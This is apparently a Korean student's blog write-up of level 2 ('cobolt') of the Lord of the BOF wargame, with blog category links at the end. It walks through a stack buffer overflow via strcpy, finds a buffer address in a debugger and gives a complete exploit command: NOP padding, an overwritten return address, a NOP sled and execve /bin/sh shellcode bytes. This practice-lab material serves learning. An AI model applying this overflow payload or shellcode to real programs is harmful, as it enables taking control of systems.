2번
시작해보자
코드를 보니 buffer의 크기가 16byte이고 저번문제처럼
strcpy함수이후에 buffer에 값이 들어가는 것을 볼 수 있다.
이렇게 되면 buffer+sfp 해서
20byte
가 들어가야한다.
즉, 내가 가지고 있는 쉘코드를 넣기에는 너무 작은 크기이다..
그래서
환경변수를 이용하자
먼저 쉘코드를 환경변수에 등록 해놓고
저번에 1번 풀 때 사용한 주소를 받아오는 C코드를 이용하자
실행해서 shellCode를 실행할 수 있는 주소
0xbffffc21
을 얻었다.
이걸 바탕으로 작성해서 해봤는데
안된다...ㅎ
왜그런지 모르겠어서
다른 방법을 생각하던중에
저번에 선배가 동아리때 shellcode를 뒤에 삽입하는 방법을 알려주셨는데
그게 떠올랐다
바로 해보자
먼저 입력되는 버퍼의 주소를 알아야 하기에
strcpy함수이후인
main+53
에 브레이크포인트를 걸자
a를 넣고 보니깐
0xbffffa10
이 정도를 ret 주소로 사용하면 될 거 같다.
이제 페이로드를 작성해야하는데
이런 방식으로 작성 할 것이다.
[buffer(NOP)+SFP](20byte) + [ret] + NOP*1000 + shellcode
이렇게 작성하면 shellcode가 buffer의 크기를 건드리지 않게 되고 ret 주소로 갈 수 있게 된다
(정확한 원리는 다시 물어봐야겠다..)
그래서
./cobolt `python -c 'print "\x90" * 20 + "\x10\xfa\xff\xbf" + "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
이렇게 작성하면
뚝딱
'D. 시스템 > 실습' 카테고리의 다른 글
[LOB] 3번 goblin (0) | 2017.11.16 |
---|---|
[LOB] 1번 gremlin (0) | 2017.10.14 |
[C-LAB] EasyBOF (0) | 2017.10.13 |
[Pwnable.kr] bof (0) | 2017.10.13 |